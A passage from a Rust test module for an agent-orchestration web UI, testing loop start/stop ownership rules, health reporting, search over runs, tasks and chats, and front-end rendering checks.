19571            "staleness is reported so the UI can say how long: {stale}"
19572        );
19573
19574        write_daemon(f.home.path(), Timestamp::now());
19575        let fresh = f.get("/api/health").await.json();
19576        assert_eq!(fresh["daemon"]["running"], true);
19577        assert_eq!(fresh["daemon"]["idle"], false);
19578        assert_eq!(fresh["daemon"]["pid"], 4242);
19579        assert_eq!(fresh["daemon"]["completed"], 7);
19580        assert_eq!(
19581            fresh["daemon"]["current"][0]["task"],
19582            "20260902-140501-aaaa"
19583        );
19584        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19585    }
19586
19587    #[tokio::test]
19588    async fn the_loop_is_not_running_until_something_starts_it() {
19589        let f = Fixture::start().await;
19590
19591        let view = f.get("/api/loop").await.json();
19592        assert_eq!(view["running"], false);
19593        assert_eq!(
19594            view["owned"], false,
19595            "nobody owns a loop that does not exist: {view}"
19596        );
19597        assert_eq!(view["stopping"], false);
19598        assert_eq!(view["last_error"], Value::Null);
19599        assert_eq!(view["daemon"]["running"], false);
19600        assert_eq!(
19601            view["repo"], "/repo/magi",
19602            "the repository a start would use, named before it is started"
19603        );
19604    }
19605
19606    #[tokio::test]
19607    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19608        let f = Fixture::start().await;
19609
19610        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19611        assert_eq!(res.status, 200, "{}", res.body);
19612        let view = res.json();
19613        assert_eq!(view["running"], true);
19614        assert_eq!(
19615            view["owned"], true,
19616            "the loop the UI started is the UI's own to stop: {view}"
19617        );
19618        assert_eq!(
19619            view["merge"],
19620            Value::Null,
19621            "no override was given, so each repository's own config decides"
19622        );
19623
19624        // The same object from the route a waking phone polls first. Two
19625        // surfaces disagreeing about whether anything is running is exactly
19626        // the confusion this UI exists to remove.
19627        let health = f.get("/api/health").await.json();
19628        assert_eq!(health["loop"]["running"], true, "{health}");
19629        assert_eq!(health["loop"]["owned"], true, "{health}");
19630
19631        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19632    }
19633
19634    #[tokio::test]
19635    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19636        let f = Fixture::start().await;
19637        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19638        assert_eq!(first.status, 200, "{}", first.body);
19639
19640        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19641        assert_eq!(
19642            again.status, 409,
19643            "two loops on one queue race for the same claims: {}",
19644            again.body
19645        );
19646        assert!(
19647            again.json()["error"]
19648                .as_str()
19649                .is_some_and(|e| e.contains("already running the loop")),
19650            "the refusal has to say why: {}",
19651            again.body
19652        );
19653        assert_eq!(
19654            f.get("/api/loop").await.json()["running"],
19655            true,
19656            "and the loop that was already running is untouched by it"
19657        );
19658
19659        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19660    }
19661
19662    #[tokio::test]
19663    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19664        let f = Fixture::start().await;
19665        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19666
19667        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19668        assert_eq!(
19669            res.status, 200,
19670            "the answer must not wait for the loop: a run in flight is tens of \
19671             minutes and the operator is holding a phone: {}",
19672            res.body
19673        );
19674
19675        let view = settled(&f, |v| v["running"] == false).await;
19676        assert_eq!(view["owned"], false);
19677        assert_eq!(
19678            view["stopping"], false,
19679            "a loop that has stopped is not still stopping: {view}"
19680        );
19681        assert_eq!(
19682            view["last_error"],
19683            Value::Null,
19684            "a loop that was asked to stop did not fail: {view}"
19685        );
19686
19687        // Idempotent, because the operator cannot tell a slow stop from a lost
19688        // one and will press it again.
19689        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19690        assert_eq!(twice.status, 200, "{}", twice.body);
19691    }
19692
19693    #[tokio::test]
19694    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19695        let f = Fixture::start().await;
19696        // How the operator has been doing it: a `magi serve` of their own,
19697        // heartbeat fresh, in the same home this UI reads.
19698        write_daemon(f.home.path(), Timestamp::now());
19699
19700        let view = f.get("/api/loop").await.json();
19701        assert_eq!(view["running"], false, "not in this process: {view}");
19702        assert_eq!(view["owned"], false, "and not this process's to control");
19703        assert_eq!(
19704            view["daemon"]["running"], true,
19705            "but a loop is alive somewhere, which is what the UI must say"
19706        );
19707        assert_eq!(view["daemon"]["pid"], 4242);
19708
19709        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19710            let res = f.post("/api/loop", Some(body)).await;
19711            assert_eq!(
19712                res.status, 409,
19713                "neither button may pretend to work on someone else's loop: {}",
19714                res.body
19715            );
19716            assert!(
19717                res.json()["error"]
19718                    .as_str()
19719                    .is_some_and(|e| e.contains("4242")),
19720                "the refusal has to name the process the operator must go to: {}",
19721                res.body
19722            );
19723        }
19724        assert_eq!(
19725            f.get("/api/loop").await.json()["running"],
19726            false,
19727            "and the refusal started nothing"
19728        );
19729    }
19730
19731    #[tokio::test]
19732    async fn a_stale_status_file_is_not_a_foreign_owner() {
19733        let f = Fixture::start().await;
19734        write_daemon(
19735            f.home.path(),
19736            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19737        );
19738
19739        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19740        assert_eq!(
19741            res.status, 200,
19742            "a daemon killed a minute ago must not lock the loop out of its \
19743             own home for good: {}",
19744            res.body
19745        );
19746        assert_eq!(res.json()["running"], true);
19747
19748        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19749    }
19750
19751    #[tokio::test]
19752    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19753        let f = Fixture::start().await;
19754        let before = f.get("/api/health").await.json()["loop_rev"]
19755            .as_u64()
19756            .expect("a loop revision");
19757
19758        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19759
19760        let after = f.get("/api/health").await.json()["loop_rev"]
19761            .as_u64()
19762            .expect("a loop revision");
19763        assert!(
19764            after > before,
19765            "the loop is in-process state, so this counter is the only thing \
19766             that tells a second device the first one started it: {before} -> \
19767             {after}"
19768        );
19769
19770        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19771    }
19772
19773    #[tokio::test]
19774    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19775        let f = Fixture::with_loop(launch_broken).await;
19776
19777        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19778        assert_eq!(
19779            res.status, 200,
19780            "starting it is not the failure: {}",
19781            res.body
19782        );
19783
19784        let view = settled(&f, |v| v["last_error"].is_string()).await;
19785        assert_eq!(
19786            view["running"], false,
19787            "a loop that died must not read as running, or the operator has \
19788             nothing to press: {view}"
19789        );
19790        assert_eq!(view["owned"], false);
19791        assert!(
19792            view["last_error"]
19793                .as_str()
19794                .is_some_and(|e| e.contains("read-only file system")),
19795            "the phone is where a loop that died at 3am is visible: {view}"
19796        );
19797
19798        // And it can be started again: the corpse was reaped, not left to
19799        // occupy the slot.
19800        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19801        assert_eq!(again.status, 200, "{}", again.body);
19802        assert!(
19803            again.json()["last_error"]
19804                .as_str()
19805                .is_none_or(|e| !e.contains("read-only file system")),
19806            "a fresh start does not keep showing why the last one died: {}",
19807            again.body
19808        );
19809    }
19810
19811    #[tokio::test]
19812    async fn a_newer_daemon_status_file_still_renders() {
19813        let f = Fixture::start().await;
19814        // A field this build has never heard of must not turn the status line
19815        // into a 500; that is the whole reason the reader is permissive.
19816        std::fs::write(
19817            f.home.path().join("daemon.json"),
19818            serde_json::json!({
19819                "schema": 2,
19820                "updated_at": Timestamp::now().to_string(),
19821                "idle": true,
19822                "surprise": { "nested": [1, 2, 3] },
19823            })
19824            .to_string(),
19825        )
19826        .expect("write daemon.json");
19827
19828        let health = f.get("/api/health").await;
19829
19830        assert_eq!(health.status, 200);
19831        assert_eq!(health.json()["daemon"]["running"], true);
19832    }
19833
19834    #[tokio::test]
19835    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19836        let f = Fixture::start().await;
19837        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19838        let broken = f.runs().join("20260902-140502-bad");
19839        std::fs::create_dir_all(&broken).expect("run dir");
19840        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19841
19842        let list = f.get("/api/runs").await;
19843        let detail = f.get("/api/runs/20260902-140502-bad").await;
19844
19845        assert_eq!(list.status, 200);
19846        let listed = list.json();
19847        let ids: Vec<&str> = listed
19848            .as_array()
19849            .expect("an array")
19850            .iter()
19851            .map(|r| r["id"].as_str().expect("an id"))
19852            .collect();
19853        assert_eq!(
19854            ids,
19855            vec!["20260902-140501-good"],
19856            "one unreadable run must not cost the operator the whole history"
19857        );
19858        assert_eq!(detail.status, 500);
19859        assert!(
19860            detail.json()["error"]
19861                .as_str()
19862                .is_some_and(|e| e.contains("run.json")),
19863            "the failure names the file to look at: {}",
19864            detail.body
19865        );
19866        // A skipped run has to be countable somewhere, or the UI shows an
19867        // empty history with nothing to explain it - which is exactly what a
19868        // directory full of older-schema runs looks like.
19869        let health = f.get("/api/health").await;
19870        assert_eq!(health.json()["runs_unreadable"], 1);
19871    }
19872
19873    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19874    #[tokio::test]
19875    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19876        let f = Fixture::start().await;
19877        let runs = f.runs();
19878        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19879        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19880        // Text three levels down, in a shape no current RunState has: an older
19881        // schema must still search.
19882        let path = runs.join("20260902-140502-bbbb").join("run.json");
19883        let mut v: serde_json::Value =
19884            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19885        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19886        std::fs::write(&path, v.to_string()).unwrap();
19887        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19888        std::fs::write(
19889            runs.join("20260902-140503-cccc").join("run.json"),
19890            "{ not json",
19891        )
19892        .unwrap();
19893
19894        let res = f.get("/api/search?scope=runs&q=quokka").await;
19895        assert_eq!(res.status, 200, "{}", res.body);
19896        let v = res.json();
19897        assert_eq!(v["total"], 1, "{v}");
19898        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19899        assert_eq!(v["hits"][0]["field"], "text");
19900        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19901        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19902        assert!(
19903            parts
19904                .iter()
19905                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19906            "{v}"
19907        );
19908        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19909        assert_eq!(
19910            flat, "The Quokka leaks across threads",
19911            "whitespace is collapsed"
19912        );
19913
19914        // Terms are ANDed, across different fields, case-insensitively.
19915        let both = f
19916            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19917            .await
19918            .json();
19919        assert_eq!(both["total"], 1, "{both}");
19920        let neither = f
19921            .get("/api/search?scope=runs&q=quokka%20zebra")
19922            .await
19923            .json();
19924        assert_eq!(neither["total"], 0, "{neither}");
19925        // Everything in the task statement is reachable, not only the row text.
19926        let stmt = f
19927            .get("/api/search?scope=runs&q=mobile%20first")
19928            .await
19929            .json();
19930        assert_eq!(stmt["total"], 2, "{stmt}");
19931        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19932        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19933    }
19934
19935    #[test]
19936    fn snippet_ignores_terms_longer_than_the_field() {
19937        let terms = ["ok".to_owned(), "elephant".to_owned()];
19938        let parts = snippet_of("ok", &terms);
19939        assert_eq!(
19940            parts,
19941            vec![SnippetPart {
19942                text: "ok".to_owned(),
19943                hit: true
19944            }]
19945        );
19946    }
19947
19948    #[test]
19949    fn snippet_marks_matches_longer_than_the_window() {
19950        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19951        let hit_len = |parts: &[SnippetPart]| -> usize {
19952            parts
19953                .iter()
19954                .filter(|p| p.hit)
19955                .map(|p| p.text.chars().count())
19956                .sum()
19957        };
19958        let total =
19959            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19960
19961        let long = "a".repeat(120);
19962        let parts = snippet_of(&long, std::slice::from_ref(&long));
19963        assert!(hit_len(&parts) > 0, "{parts:?}");
19964        assert!(total(&parts) <= cap);
19965
19966        let ja = "あ".repeat(130);
19967        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19968        assert!(hit_len(&parts) > 0, "{parts:?}");
19969        assert!(total(&parts) <= cap);
19970
19971        // A short hit, then one straddling the window's end.
19972        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19973        let term = format!("ab{}", "c".repeat(100));
19974        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19975        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19976        assert!(total(&parts) <= cap);
19977
19978        // Only the head matches: not highlighted.
19979        let text = format!("{}z", "a".repeat(119));
19980        let parts = snippet_of(&text, &["a".repeat(120)]);
19981        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19982    }
19983
19984    #[tokio::test]
19985    async fn search_caps_hits_and_snippet_length() {
19986        let f = Fixture::start().await;
19987        let runs = f.runs();
19988        for n in 0..(SEARCH_MAX_HITS + 5) {
19989            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19990        }
19991        let v = f.get("/api/search?scope=runs&q=web").await.json();
19992        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19993        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19994        assert_eq!(v["truncated"], true);
19995        // Every listed run hit carries its list row for the page's filters.
19996        assert!(
19997            v["hits"]
19998                .as_array()
19999                .unwrap()
20000                .iter()
20001                .all(|h| h["run"]["status"] == "merged")
20002        );
20003
20004        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
20005        let parts = snippet_of(&long, &["needle".to_owned()]);
20006        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
20007        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20008        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20009    }
20010
20011    #[tokio::test]
20012    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20013        let f = Fixture::start().await;
20014        let queue = f.queue();
20015        let mut t = Task::new(
20016            "short title".to_owned(),
20017            "line one\nthe hidden Armadillo detail".to_owned(),
20018            PathBuf::from("/repo/magi"),
20019            Source::Agent {
20020                run: "r1".to_owned(),
20021                node: "chat".to_owned(),
20022            },
20023        );
20024        t.last_error = Some("disk full on /tmp".to_owned());
20025        queue.put(&mut t).expect("file the task");
20026
20027        for (q, want) in [
20028            ("armadillo", 1),
20029            ("disk%20FULL", 1),
20030            ("chat", 1),
20031            ("queued", 1),
20032            ("short%20nothing", 0),
20033        ] {
20034            let v = f
20035                .get(&format!("/api/search?scope=tasks&q={q}"))
20036                .await
20037                .json();
20038            assert_eq!(v["total"], want, "{q}: {v}");
20039        }
20040        for bad in [
20041            "/api/search?scope=tasks&q=",
20042            "/api/search?scope=tasks&q=%20",
20043            "/api/search?scope=chats&q=",
20044            "/api/search?scope=chats&q=%20",
20045            "/api/search?scope=nope&q=a",
20046            "/api/search?q=a",
20047        ] {
20048            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20049        }
20050    }
20051
20052    /// Write one conversation file the way the store reads it back.
20053    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20054        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20055            .expect("seat value");
20056        let turns: Vec<serde_json::Value> = turns
20057            .iter()
20058            .map(|(who, body)| {
20059                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20060            })
20061            .collect();
20062        let doc = serde_json::json!({
20063            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20064            "status": status, "turns": turns,
20065            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20066            "seat": seat,
20067        });
20068        let dir = f.home.path().join("talks");
20069        std::fs::create_dir_all(&dir).expect("talks dir");
20070        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20071    }
20072
20073    #[test]
20074    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20075        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20076            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20077            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20078            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20079            "seat": crate::agent::SeatState::new("talk", "test", 1)
20080        })).unwrap();
20081        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20082        talk.title = Some(talk::ChatTitle {
20083            text: "最近の話題".into(),
20084            source: talk::TitleSource::Generated,
20085        });
20086        let doc = talk_search_doc(&talk);
20087        assert_eq!(doc["title"], "最近の話題");
20088        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20089        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20090        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20091    }
20092
20093    #[test]
20094    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20095        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20096        talk.title = Some(talk::ChatTitle {
20097            text: "Saved title".into(),
20098            source: talk::TitleSource::Manual,
20099        });
20100        talk.turns = serde_json::from_value(serde_json::json!([
20101            {
20102                "who": "operator", "sender": "external", "body": "External plain",
20103                "at": "2026-09-08T20:58:02Z"
20104            },
20105            {
20106                "who": "operator", "body": "External message",
20107                "at": "2026-09-08T20:58:03Z",
20108                "messages": [{
20109                    "sender": "external", "body": "External message", "attachments": []
20110                }]
20111            }
20112        ]))
20113        .unwrap();
20114        let doc = talk_search_doc(&talk);
20115        assert_eq!(doc["turns"][0]["external"], "External plain");
20116        assert_eq!(doc["turns"][1]["external"], "External message");
20117        assert!(doc["turns"][0].get("operator").is_none());
20118        assert!(doc["turns"][1].get("operator").is_none());
20119        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20120        assert_eq!(hit.field, "external");
20121        let target = hit.target.unwrap();
20122        assert_eq!((target.turn, target.message), (1, 0));
20123    }
20124
20125    #[test]
20126    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20127        let talk: Talk = serde_json::from_value(serde_json::json!({
20128            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20129            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20130            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20131                "messages":[{"body":"First message", "attachments":[], "reply":null},
20132                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20133                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20134            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20135            "seat": crate::agent::SeatState::new("talk", "test", 1)
20136        })).unwrap();
20137        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20138        let target = hit.target.unwrap();
20139        assert_eq!((target.turn, target.message), (0, 1));
20140        assert_eq!(target.text, chat_text_key("Search 運用"));
20141        assert_eq!(
20142            hit.snippet,
20143            snippet_of("Search 運用", &search_terms("運用 Another"))
20144        );
20145        assert!(
20146            search_chat(&search_terms("Saved"), &talk)
20147                .unwrap()
20148                .target
20149                .is_none()
20150        );
20151        assert!(
20152            search_chat(&search_terms("ab12"), &talk)
20153                .unwrap()
20154                .target
20155                .is_none()
20156        );
20157        // All terms may still match across separate display rows.
20158        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20159        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20160    }
20161
20162    #[test]
20163    fn chat_search_targets_opener_derived_titles() {
20164        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20165            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20166            "status": "open", "turns": [
20167                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20168                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20169                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20170            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20171            "seat": crate::agent::SeatState::new("talk", "test", 1)
20172        }))
20173        .unwrap();
20174        let terms = search_terms("運用");
20175        let hit = search_chat(&terms, &talk).unwrap();
20176        assert_eq!(hit.field, "title");
20177        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20178        let target = hit.target.unwrap();
20179        assert_eq!((target.turn, target.message), (1, 0));
20180        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20181        // A blank first send can put the opener line in a later display row.
20182        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20183            {"body":"", "attachments":[], "reply":null},
20184            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20185        ]))
20186        .unwrap();
20187        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20188        assert_eq!((target.turn, target.message), (1, 1));
20189        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20190        talk.title = Some(talk::ChatTitle {
20191            text: "運用について".into(),
20192            source: talk::TitleSource::Manual,
20193        });
20194        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20195    }
20196
20197    #[tokio::test]
20198    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20199        let f = Fixture::start().await;
20200        write_talk(
20201            &f,
20202            "20260901-000001-aaaa",
20203            "open",
20204            &[
20205                (
20206                    "operator",
20207                    "\n  Why does the Pangolin cache expire?\nsecond line",
20208                ),
20209                ("agent", "Because the TTL is thirty seconds."),
20210            ],
20211        );
20212        write_talk(
20213            &f,
20214            "20260901-000002-bbbb",
20215            "closed",
20216            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20217        );
20218        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20219
20220        let search = |q: &'static str| {
20221            let f = &f;
20222            async move {
20223                f.get(&format!("/api/search?scope=chats&q={q}"))
20224                    .await
20225                    .json()
20226            }
20227        };
20228
20229        let v = search("PANGOLIN").await;
20230        assert_eq!(v["scope"], "chats");
20231        assert_eq!(v["total"], 1, "{v}");
20232        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20233        assert_eq!(v["hits"][0]["field"], "title");
20234        assert_eq!(v["unreadable"], 1, "{v}");
20235        let marked: Vec<&str> = v["hits"][0]["snippet"]
20236            .as_array()
20237            .unwrap()
20238            .iter()
20239            .filter(|p| p["hit"] == true)
20240            .map(|p| p["text"].as_str().unwrap())
20241            .collect();
20242        assert_eq!(marked, ["Pangolin"]);
20243
20244        // An agent turn, in a closed conversation.
20245        let v = search("zebra").await;
20246        assert_eq!(v["total"], 1, "{v}");
20247        assert_eq!(v["hits"][0]["field"], "agent");
20248        // Words may sit in different turns; all must be present.
20249        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20250        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20251        // Bookkeeping is not searched.
20252        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20253            assert_eq!(search(q).await["total"], 0, "{q}");
20254        }
20255        // The first line only is the title; the second line is still a turn.
20256        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20257        // Open conversations are listed before closed ones.
20258        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20259
20260        let v = f.get("/api/search?scope=nope&q=a").await;
20261        assert_eq!(v.status, 400);
20262        assert!(
20263            v.body.contains("scope must be runs, tasks or chats"),
20264            "{}",
20265            v.body
20266        );
20267    }
20268
20269    #[test]
20270    fn a_question_card_links_a_task_id_to_the_task_page() {
20271        let start = APP_JS
20272            .find("function updateAskCard(")
20273            .expect("updateAskCard exists");
20274        let body = &APP_JS[start..];
20275        let body = &body[..body.find("\n}\n").expect("function end")];
20276        assert!(body.contains("question.run_is_task"));
20277        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20278        assert!(body.contains("`#/runs/${question.run}`"));
20279        assert!(body.contains("\"task\" : \"run\""));
20280    }
20281
20282    #[test]
20283    fn plain_text_message_surfaces_go_through_linkify() {
20284        assert!(APP_JS.contains("function linkify("));
20285        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20286        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20287        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20288        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20289        assert!(!APP_JS.contains("innerHTML = text"));
20290    }
20291
20292    #[test]
20293    fn implementation_rate_views_keep_independent_samples() {
20294        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20295            let a = stats::AgentStats {
20296                competitive_entered: competitive_n,
20297                competitive_wins: usize::from(competitive_n > 0),
20298                solo_entered: solo_n,
20299                solo_adopted: 2 * usize::from(solo_n > 0),
20300                ..Default::default()
20301            };
20302            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20303            for (key, n, numerator) in [
20304                ("competitive_win_rate", competitive_n, a.competitive_wins),
20305                ("solo_adoption_rate", solo_n, a.solo_adopted),
20306            ] {
20307                if n == 0 {
20308                    assert!(v[key].is_null());
20309                } else {
20310                    assert_eq!(v[key]["denominator"], n);
20311                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20312                }
20313            }
20314        }
20315        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20316        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20317        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20318        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20319    }
20320
20321    #[test]
20322    fn stats_bars_share_one_id_keyed_plan() {
20323        let start = APP_JS
20324            .find("function statsBarRows(")
20325            .expect("statsBarRows exists");
20326        let body = &APP_JS[start..];
20327        let body = &body[..body.find("\n}\n").expect("function end")];
20328        assert!(body.contains("statsBarPlan(rows)"));
20329        assert!(body.contains("statsAgentTone(row.agent)"));
20330        assert!(!body.contains("candTone(i)"));
20331        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20332        for root in [
20333            "stats-agents-bars",
20334            "stats-solo-bars",
20335            "stats-reviewers-bars",
20336        ] {
20337            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20338        }
20339    }
20340
20341    #[test]
20342    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20343        let start = APP_JS
20344            .find("function renderStatsReviewerScatter(")
20345            .expect("renderStatsReviewerScatter exists");
20346        let body = &APP_JS[start..];
20347        let body = &body[..body.find("\n}\n").expect("function end")];
20348        assert!(body.contains("statsScatterPlan(reviewers)"));
20349        assert!(body.contains("statsAgentTone(d.agent)"));
20350        assert!(APP_JS.contains("function statsScatterPlan("));
20351        assert!(
20352            APP_JS.contains("d.submitted < STATS_LOW_N")
20353                || APP_JS.contains("r.submitted < STATS_LOW_N")
20354        );
20355        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20356        assert!(APP_CSS.contains(".precision-scatter"));
20357    }
20358
20359    #[test]
20360    fn advisor_reflection_is_drawn_as_stacked_segments() {
20361        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20362        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20363        let html = include_str!("../assets/ui/index.html");
20364        assert!(html.contains("Approximate"));
20365        for label in ["reflected strongly", "faint", "no proposal"] {
20366            assert!(html.contains(label));
20367        }
20368        let css = include_str!("../assets/ui/app.css");
20369        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20370            assert!(css.contains(&format!(".{c} {{")));
20371        }
20372    }
20373
20374    #[test]
20375    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20376        assert!(APP_JS.contains("function statsDailyPlan("));
20377        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20378        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20379    }
20380
20381    #[test]
20382    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20383        let start = APP_JS
20384            .find("function scheduleSearch(")
20385            .expect("scheduleSearch exists");
20386        let body = &APP_JS[start..];
20387        let body = &body[..body.find("\n}\n").expect("function end")];
20388        assert!(body.contains("s.seq += 1"));
20389    }
20390
20391    /// The dashboard reads every run's state itself rather than trusting a
20392    /// separately-maintained count, so an unreadable run must be counted the
20393    /// same way `/api/health` counts it - never silently dropped the way the
20394    /// CLI's own `stats::load_all` drops it.
20395    #[tokio::test]
20396    async fn stats_runs_unreadable_matches_health() {
20397        let f = Fixture::start().await;
20398        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20399        let broken = f.runs().join("20260902-140502-bad");
20400        std::fs::create_dir_all(&broken).expect("run dir");
20401        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20402
20403        let stats = f.get("/api/stats").await;
20404        let health = f.get("/api/health").await;
20405
20406        assert_eq!(stats.status, 200);
20407        assert_eq!(stats.json()["totals"]["runs"], 1);
20408        assert_eq!(stats.json()["runs_unreadable"], 1);
20409        assert_eq!(
